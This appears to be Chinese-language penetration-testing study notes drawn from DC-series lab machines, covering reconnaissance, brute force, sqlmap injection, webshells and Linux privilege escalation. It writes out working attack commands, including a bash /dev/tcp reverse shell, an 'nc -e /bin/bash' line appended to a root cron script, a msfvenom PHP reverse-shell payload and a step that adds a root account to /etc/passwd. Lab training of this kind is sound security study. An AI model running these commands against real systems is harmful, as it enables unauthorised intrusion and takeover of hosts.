信息收集
地址探测
因为我们是在内网环境中所以我们使用arp地址探测
通过arp-scan地址探测,目标主机IP地址为172.30.1.140
端口扫描
masscan扫描
好处就一个字快
--adapter-ip //指定网段
--rate=1000 //指定发包的速率
-p 1-65535 //对所有端口做扫描
Nmap扫描
使用Nmap对目标主机进行端口扫描
目标主机只开放了80端口,所以我们突破点就在80。
-sS Nmap默认扫描类型,SYS的秘密扫描
-sV 服务版本检测
-T4 野蛮扫描(常用)
-p- 对所有端口进行扫描
-O 识别操作系统类型 (大O)
目录枚举
gobuster枚举
从目录结构应该确定这是一个wordprassCMS
dirbuster枚举
使用dirbuster进行目录枚举,dirbuster中自带有字典
选择Results-Tree Vlew模块可以到网站目录的架构
这里看到一个footer.php,这是一个网站页脚的程序文件。
还看到contact.php,这个是网站的留言板,也就是网站交互式的地方。
http探测
使用Wappalyzer插件可以到这是Joomla的CMS。Joomla!是一套全球知名的内容管理系统(CMS)Joomla的架构基于MVC框架。
探测网站架构
访问网站先看网站架构,寻找交互式的地方,看看是否有CMS的遗漏。
burp suite探测http头部
HTTP代理(Proxy)——它作为一个 Web 代理服务器运行,并且位于浏览器和目标 Web 服务器之间。这允许拦截、检查和修改在两个方向上通过的原始流量。
通过http的头部我们得到的信息
Server:Apache/2.2.22(Debian)
PHP语言 5.4.45版本
Drupal版本7
浏览器插件
Wappalyzer是一个跨平台的工具,可以揭示网站使用的各种技术。它能够检测内容管理系统(CMS)、电商平台、Web框架、服务器软件、分析工具等。简单来说,就是一键看穿一个网站的底细。
Whatweb
使用whatweb对目标主机进行CMS扫描
这里看到是Drupal
漏洞检测及利用
漏洞查找
第一种方法:
Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers 直接搜索名字可以加版本号
第二种方法:
使用google hacking搜索语法
第三种方法:
使用Metasploitable搜索存在的漏洞并直接利用
使用search 搜索是否有这个版本的漏洞
找到之后可以使用编号,也可以使用全部名称
使用options查看该模块的选项
RHOSTS代表目标主机
Required中yes是模块中必须有值,no就代表可有可无。
LHOST代表侦听主机,LPORT代表端口号,端口号要根据实际情况而改变。
set给LHOST赋值
set给RHOSTS赋值
exploit启动模块进行攻击
Metasploitable的基本使用命令
Meterpreter的基本使用命令
字典工具
cewl字典生成器
CeWL ( Custom Word List generator)是一个用 Ruby 编写的自定义单词列表生成器,旨在将关键字从指定的 URL 提取到给定的深度。
这些关键字可作为密码破解工具的潜在条目,例如 John the Ripper, Medusa, and Wfuzz。
也就是cewl通过爬取网站生成字典文件。
用法很简单,cewl 选项 URL地址
-d 爬取的深度 默认为2
-m 生成密码的最小长度 默认为3
-w 保存写入指定的文件
-e 包括电子邮件地址
-c 计算单词在网站重复的次数
--with-numbers 生成的密码中包含数字
也可以-c计算单词在网站中出现的次数
-e 爬取网站中的电子邮件地址
--with-numbers 生成的字典中包含数字,有些网站没有数字所以爬不出来
这里就是通过爬取网站生成的字典文件
暴力破解
使用Burp suite
猜解用户名为admin,密码随便写。
通过Burp suite抓包看到我们输入的参数,下面使用重放模块进行爆破。
把数据包发送到intruder模块中,快捷键ctrl+l。
选择攻击类型,这里有四种攻击类型
【sinper】狙击手:对单一参数进行密码爆破
【battering ram】撞锤:对所有参数进行同一个变量爆破(如用户名和密码一样)
【pitchfork】鱼叉:对所有参数进行一一对应爆破,传递两个参数两个字典,一一对应。
【cluster bomb】集束炸弹:对参数进行交叉爆破,常用用于不知道账号密码的情况
这里使用第一种攻击狙击手,对单一参数进行爆破
选中密码,点击add添加变量。
设置payloads
Payload set我们只对密码进行爆破所以这选择1
Payload type这里我们使用字典文件所以选择Payload type
如果是社区版的Burp suite现在就可以进行攻击
专业版是可以指定攻击的线程的,我这里指定的100,好像社区版线程是10吧。
点击Start attack开始攻击。
因为我使用的字典文件很大,我们这时候可以根据长度来分辨哪个是密码,因为正确密码只有一个,我们可以点length来区分真密码,我们看到密码是happy
用户名:admin
密码:happy
SSH暴力破解
使用hydra进行ssh爆破
-L //指定用户名字典
-P //指定密码字典
User:janitor passwd:Ilovepeepee
CMS配置文件
Drupal
案例:
官方文档中查找一些关于drupal7的密码恢复之类的文件。包括官方的文档,也下载源码做代码审计。
https://www.drupal.org/node/1023428 这个网址就是Drupal7的官方密码重置方法。
根据这个文档进行更新admin用户的密码
首先再网站根目录下执行 ./scripts/password-hash.sh 123456
我们首先利用Drupal的加密方式生成123456的加密后的值
我们把这个Hash值先复制下来,然后去mysql中更新密码。
Wordpress
Wpscan
用户枚举
Wpscan:是一款开源的命令行工具,专门用于扫描和识别WordPress网站中的漏洞和安全问题。
-e ,--enumerate枚举
枚举用户 u
枚举有漏洞插件 vp
我们通过wpscan找到了三个用户名,分别为admin、jerry、tom。
密码字典文件有了,用户名字典文件也有了,我们进行暴力破解。
暴力破解
首先分写入用户名,保存为user.txt
然后我们使用wpscan进行暴力破解
-P 指定密码字典
-U 指定用户字典
--url 指定URL
Parturient adipiscing
得到了jerry用户的密码和tom用户的密码
扫描过时插件
Wpscan对目标主机进行插件版本扫描--plugins-version detection
这个插件最新版本是20180826,目标主机使用的是20161228版本
漏洞搜索
使用searchsploit对插件进行漏洞搜索
下面这两个都需要得到认证才可以利用,我们已经拿到认证了,就是网站的后台。
将html镜像到本地主机
编辑文件
注意:原文件中的8000端口要删除,不然会自动转到8000转口。
原文件中nc -nlvp 要改成 nc -nv
根据nc得端口开启侦听
修改完成后我们放到本地主机得web中。然后开启apacha2服务器。
直接访问本机web服务器,例:172.30.1.20/45274.html
点击按钮提交
在我们侦听得端口就看到这里已经拿到目标主机的shell权限了
Joomla
JoomScan
介绍一款专门针对Joomla的开源工具JoomScan
JoomScan是一个开源的漏洞扫描器,主要用于自动化检测Joomla CMS的安全漏洞,以增强Joomla CMS开发的安全性。
用法很简单 joomscan 选项 我们可以直接joomscan -u 目标主机
通过扫描我们看到这是Joomla 3.7.0的版本,找到了一个网站管理后台。
Joomla3.7.0
第三个就是Joomla 3.7.0b版本SQL注入的漏洞
SQL注入
什么是SQL注入呢?
SQL注入漏洞:
SQL注入攻击指的是通过构建特殊的SQL输入语句,传入Web应用程序,而这些输入大都是SQL语法里的一些组合,
通过执行SQL语句而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
我们可以进去看看这个漏洞
这里直接是可以看到sqlmap的执行语句,我们可以直接复制,改为目标主机的IP地址就可以。
sqlmap -u "http://172.30.1.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
我们看到这个数据库中有个joomladb的数据库
sqlmap -u "http://172.30.1.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
我们应该关注users这个表中的数据
sqlmap -u "http://172.30.1.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -T '#__users' --columns -p list[fullordering]
现在我们看到了中的字段,我们再对字段中的数据进行查询
sqlmap -u "http://172.30.1.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -T '#__users' --columns -C password,username --dump -p list[fullordering]
我们现在看到了后台管理员用户名还有一段加密的密码。
看一下这段密文是什么加密算法
密码破解
John the Ripper是一款开源密码安全审计和密码恢复工具,可用于许多操作系统。
我们使用款开工具进行解密,操作方法。
问题
在使用john破解时可能会遇到报错
这种错误是因为没有指定
解决方法:john --format=crypt passwd.txt
创建木马
方法1:msfvenom
msfvenom -p php/meterpreter/reverse_tcp lhost-172.30.1.142 lport=4444 -f raw -o webshell.php
在模板里新建PHP文件类型,文件名为webshell3
msf> use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 172.30.1.142
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
访问一下我们上传的木马路径
http://192.168.195.138/templates/beez3/webshell3.php
这样我们就成功拿到shell
方法2:weevely
Weevely 是一个专为post-exploitation(后渗透利用)目的而设计的 Web Shell,可在运行时通过网络进行扩展。
它是一个PHP后门生成工具
将 weevely PHP 代理上传到目标 Web 服务器以获取远程 Shell 访问权限。
它有 30 多个模块,可协助执行管理任务、维护访问权限、提供态势感知、提升权限并传播到目标网络
root@kali3:~# weevely generate xiaofeixia webshell.php
generate Generate new agent 生成一个代理(木马程序)
weevely http://192.168.195.138/templates/beez3/webshell.php xiaofeixia
成功连上拿到shell
Kali端运行:
nc -lvp 2266
weevely用户端 bash -c 'bash -i >& /dev/tcp/192.168.195.77/2266 0>&1' //获得一个交互式shell
利用日志GET到SHELL
对根目录的请求包写入一句话木马,看到响应码是400,不用管
DC-5使用的是nginx,默认日志路径/var/log/nginx/access/log
写入后访问是可以看到的,如果看不到就是访问次数过多,日志文件可能满了。
我们可以通过&进行传参到CMD执行系统命令。
查看目标主机是否有nc,看到这里是有的。
获取shell
使用nc获取shell
Kali主机做侦听
目标主机主动连接kali
文件包含
文件包含漏洞:
文件包含漏洞通常出现在编写糟糕的PHP web应用程序中,其中输入参数没有得到正确的处理或验证。
因此,攻击者很容易捕获传递的HTTP请求,操纵URL参数,该参数接受文件名并将恶意文件包含在web服务器中。
原理:
服务器执行PHP文件时,可以通过文件包含函数加载另外一个文件(参数),另外一个文件中的PHP代码就会被执行,
这是在Web开发时,代码常用的一种处理方法。
页眉页脚变化
在访问目标主机的网站没有思路时,可以看一下网站的架构
随便编写提交看一下有什么不一样的地方。
提交后重定向到thankyou.php的文件中,随着不断刷新,看到页脚的版本在发生改变,这个就是文件包含漏洞啦
直接访问thankyou.php的效果也是一样的,也就是thinkyou.php调用了footer.php
形式为:http;//172.30.1.132/thanyou.php?file=footer.php
验证
我们可以验证下一是否存在文件包含漏洞呢?
看到是可以看到目标主机的账户文件的。
社会工程学
访问目标网站
提示说暴力破解或者字典攻击是不能成功的,要跳出这个常规思维
GitHub社工
我们在网站的页脚看到有个名称,那我们可以对这个名称进行社工。
代码审计
将源码下载后进行代码审计
看到源码中有config的文件,这个肯定是配置文件,可以看一下。
username = "dc7user";
password = "MdR3xOgB7#dW";
看到有个用户名和密码,去网站登录发现登不上。
扫描端口的时候看到开放了22端口,尝试一下通过ssh登录。
获取shell
通过ssh登录
登录成功啦
程序漏洞
drush程序
Drush 是一个用于 Drupal 网站管理的强大命令行工具。通过 Drush,开发者可以在终端中执行常见的 Drupal 操作,如安装、更新、清理缓存等,极大地提高了开发效率。
drush全称drupal shell,是drupal基于命令行的工具,常用命令:
$ drush cr 各种清缓存
$ drush pm-enable 安装module
$ drush pm-uninstall 卸载module
$ drush pm-list 显示所有modules and themes列表
还可以更改用户名密码
更改admin的密码,这时候我们去网站尝试登录,发现登录成功。
登录到后台尝试写入木马
通过安装PHP模块
Manage>Extend>List>Install new module
启用PHP Filter模块
下方有个Install按钮
测试PHP filter模块是否能正常使用
其目的是允许执行php代码的页面
使用msfvenom 生成php木马
写入
使用msf侦听获取shell
还是刚才那个脚本,因为这个脚本文件使用root权限执行。
SQL注入
判断是否存在SQL注入漏洞
在点网站的细节时发现URL发生了改变,?nid=3,问号传参,这种URL极有可能存在SQL注入漏洞。
初步验证是否有SQL注入漏洞,直接在URL后边加个 ‘ 如果报错那就是被系统执行了,没有进行过滤
加上 ‘ 之后发现报错了,通过报错还看到了查询语句。
漏洞利用
Sqlmap扫描注入点
查看这里存在一个布尔盲注直接爆破数据库
爆破到两个数据库,关于网站那就是d7db这个库
爆破出一大堆数据表,我们关注的肯定是users用户这个表这个表
指定users这个表,列出表中的列
爆破出表中的列后,指定列再爆破列中的字段
得到admin、john这两个用户还有加密的密码
将这两个用户名和加密的密码,写入到一个文本文件中。
破解密码
直接使用john进行破解密码
得到john用户的密码,username:john passwd:turtlu
搜索框、表单SQL注入
这种表单非常容易受到SQL注入的攻击。
我们复制捕获的请求并将其粘贴到一个文本文件中,并将其命名为DC9.txt。我们这样做是为了将捕获的请求与sqlmap一起使用。现在,我们将启动sqlmap来检查搜索表单是否容易受到SQL注入的攻击。
SQL注入攻击
对保存的文本文件进行SQL注入攻击,爆破数据库
-r 指定Burpsuite保存的地址
获取数据库中的所有记录
--dump—all //获取数据库的所有记录
这里不知道咋回事,显示了明文密码,可能是破解过的原因吧
看一下这个密码是什么加密方式,这是一个交互式的。
MD5报文摘要算法加密的
MD5破解
免费破解MD5网站
破解到密码为:transorbital1
rbash逃逸
我们在使用命令的时候发现不能执行,没有这个命令,还发现了一个-rbash
什么是rbash?或 /usr/bin/lshell
受限shell是Linux Shell限制一些bash shell中的功能,并且是从名字上很清楚。 该限制很好地实现了命令以及脚本在受限shell中运行。它为Linux中的bash shell提供了一个额外的安全层。
主要是因为管理员给tom用户限制了bash,我们可以通过环境变量看一下,我们tom用户可以使用哪些命令
我们只能使用这四个命令,那我们可以逃逸限制
方法:利用系统常见应用逃逸
[1]ftp
[2]more //分页查看
[3]less //分页查看
[4]man //查看帮助
[5]vi
[6]vim
以上在输入的地方输入!/bin/sh 或 !/bin/bash,只要有交互式我们就可以进行逃逸。
我们是可以使用vi的,所以我们通过vi这个命令来进行逃逸。
Vi随便编辑一个文件
回车在回车输入shell回车
我们就得到成功逃逸了
根据不同的场景使用不同的方法
端口敲门
这是我们偶然发现的knockd.conf。这意味着涉及到端口敲门。我们可以看到在这里用一个序列配置了openSSH。我们注意到这个序列,并按此序列敲打SSH端口,以启动并运行它。 这个想法非常安全。
需要分别7469,8475,9842这个三个端口。说白了就是审讯这个三个,让22端口来就他们。
这个直接使用nc -z 敲打一下这个三个端口。
再次扫描发现果然这小子open了。
提权
信息收集
这个信息收集是提权之前的信息收集,这个信息收集非常重要,信息越多我们的攻击面也越多。
(1)IP地址
(2)当前用户
(3)内核版本
(4)开放的端口
(5)进程
(6)账户信息
(7)主机名
(8)任务计划
crontab -l
(9)敏感文件
grep “passwd” -R /
(10)发行版本
(11)列出当前用户可以通过sudo执行的所有命令
(12)查找具有SUID权限的文件
提权方法
命令提权参考 GTFOBins
git提权
Git(读音为/gɪt/。)是一个开源的分布式版本控制系统,可以有效、高速的处理从很小到非常大的项目版本管理。Git 是 Linus Torvalds 为了帮助管理 Linux 内核开发而开发的一个开放源码的版本控制软件。
GIT提权原理:
原理是git配置不当存在溢出,溢出的部分如果输入一个交互式窗口就会有交互,类似于suid那样,暂时拥有root,又写了一个交互,就真的有了root的交互。
git 的帮助信息中有一个-p | --paginate选项
这个-p的意思就是以分页的形式展示git的帮助信息,但是这里他会默认调用more来进行展示。
编辑
sudo git -p
编辑
!/bin/sh
我们再交互式的中输入!/bin/sh,可以看到我们的命令提示符变成了root。
内核版本提权
表示系统发行版本和内核版本》找到匹配的版本exp》exp传输到目标主机》一般传输到tmp目录(临时文件),执行payload。
典型Linux漏洞:脏牛漏洞
Ubuntu 16.04
查找漏洞
使用searchsploit 查找Ubuntu 16.04版本的漏洞,找到关键字为Privilege Escalation 权限提升的
加上-w来获取页面信息
直接访问
漏洞利用
最下面有个漏洞利用镜像,使用wget下载到本机
但是我们运行必须要再目标主机运行,所以我们可以直接上传。
方法一
使用python架设一个简易的web服务器
使用wget进行下载(这里我们要访问kali的IP地址,因为我们是在kali中架设的)
方法二
使用nc
我们的目标主机做侦听端输出重定向
Kali主机输入重定向到目标主机 -q 1 完成后断开
提权
先解压39772.zip的压缩文件
我们进入39772这个目录下看到有两个用压缩文件
tar文件解压tar xf 文件名,解压之后就我们得到了新目录
进入这个新目录看到四个脚本文件
运行./compile.sh得到doubleput后运行
看到we have root privs now ..就等于拿到root权限了
teehee提权
可以看到使用teehee提权,teehee就是tee的变体从标准输入读取并写入标准输出和文件我们可以借助teehee往passwd写入一个root账号即可得到root权限查看一下这个命令的帮助手册,使用-a参数在/etc/passwd文件里面新建一个有管理员权限的用户
账户文件格式
我们要先了解账户文件的格式
写入之后我们直接登录
/bin/screen-4.5.0文件提权
查看SUID权限的文件
这里有一个/bin/screen-4.5.0的文件。
使用searchsploit搜索提权漏洞
提权
将漏洞文件镜像到本地主机
dos2unix命令用来将DOS格式的文本文件转换成UNIX格式的(DOS/MAC to UNIX text file format converter)。DOS下的文本文件是以\r\n作为断行标志的,表示成十六进制就是0D 0A。而Unix下的文本文件是以\n作为断行标志的,表示成十六进制就是0A。DOS格式的文本文件在Linux底下,用较低版本的vi打开时行尾会显示^M,而且很多命令都无法很好的处理这种格式的文件,如果是个shell脚本,。而Unix格式的文本文件在Windows下用Notepad打开时会拼在一起显示。因此产生了两种格式文件相互转换的需求,对应的将UNIX格式文本文件转成成DOS格式的是unix2dos命令。
run.sh格式转换,每个操作系统以字符表示结尾的时候是不同的,查看脚本文件若每行结尾为 ^M
则需要使用命令 dos2unix run.sh 将其转换一下
https://blog.csdn.net/weixin_45221204/article/details/139182557
使用python搭建一个简易Web服务器
使用wget下载脚本文件
给该脚本添加执行权
运行脚本
Nmap提权
敏感文件
查看系统的账户文件
发现这里有四个用户
Graham用户
Mark家目录下有个文本文件,内容就是有个用户graham账户文件中是有这个用户的,后面的很可能就是这个用户的密码。
现在已经登录成功
使用graham用户查看sudo的使用权限,看到jens用户可以不用输入密码执行backups.sh脚本。但是我现在是graham用户。
提权
jens用户
这里是一个脚本文件,如果这是一个命令就不好办了。
尝试在脚本中添加一个shell,这和任务计划提权是差不多的。
方法很简单直接追加或者写入
指定jens用户运行该脚本
这样就拿到了jens用户的shell
看到jens用户有Nmap的sudo授权
Nmap是可以通过sudo进行提权的,直接复制命令
(b)是要求版本的 (a)这个是可以直接使用的
任务计划提权
邮件
这里看到有好多邮件
而且每个邮件相隔15分钟,应该是个脚本文件。
输入1,先查看第一个邮件
还真是个脚本文件,路径是/opt/scripts/backups.sh,看一下这个脚本
nc反弹shell
echo 'nc -e /bin/bash 172.30.1.20 7777' >> /opt/scripts/backups.sh
kali端做侦听
Exim提权
Exim是一个MTA(Mail Transfer Agent,邮件传输代理)服务器软件,该软件基于GPL协议开发,是一款开源软件。该软件主要运行于类UNIX系统。通常该软件会与Dovecot或Courier等软件搭配使用。Exim同时也是“进出口”(Export-Import)的英文缩写。
Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers
漏洞查找网站
漏洞搜索
将文件镜像到本地
searchsploit -m linux/local/46996.sh
使用python搭建一个建议的web服务器
python -m http.server 8888 (python3)
漏洞利用
下载:wget http://192.168.195.76:8888/46996.sh编辑
dos2unix 46997.sh给文件更改为unix文件
给文件加入权限
运行脚本 -m netcat简称nc
nc 127.0.0.1 31337
等待连接。
脚本提权
发现这里有个脚本文件可以无密码以root用户权限执行,我们进入/opt/devstuff/dist/test目录下先看看有什么信息,全是文件,回到上一个目录查看,也没什么,再回到上一个目录查看,在/opt/devstuff目录下发现了一个test.py脚本文件
查看脚本的内容
提权
这是一个写入文件的脚本,生成一个密码用root权限执行脚本写入/etc/passwd文件,所以我们现在就需要构造一个拥有root权限的用户,并且在/etc/passwd文件中储存,只要使用这个用户登录后,就可以获取到root权限,事先参考/etc/passwd解释
先利用openssl命令创建一个密码,得到hash密码我们切换到tmp目录下,新建一个文件再回到/opt/devstuff/dist/test目录,执行程序test,将xiao的文件内容写入到/etc/passwd文件里面可以看到xiaofeixia用户已经添加到/etc/passwd文件里了,接下来然后使用命令su - xiao切换到我们添加的xiao用户,输入之前设置好密码即可登录.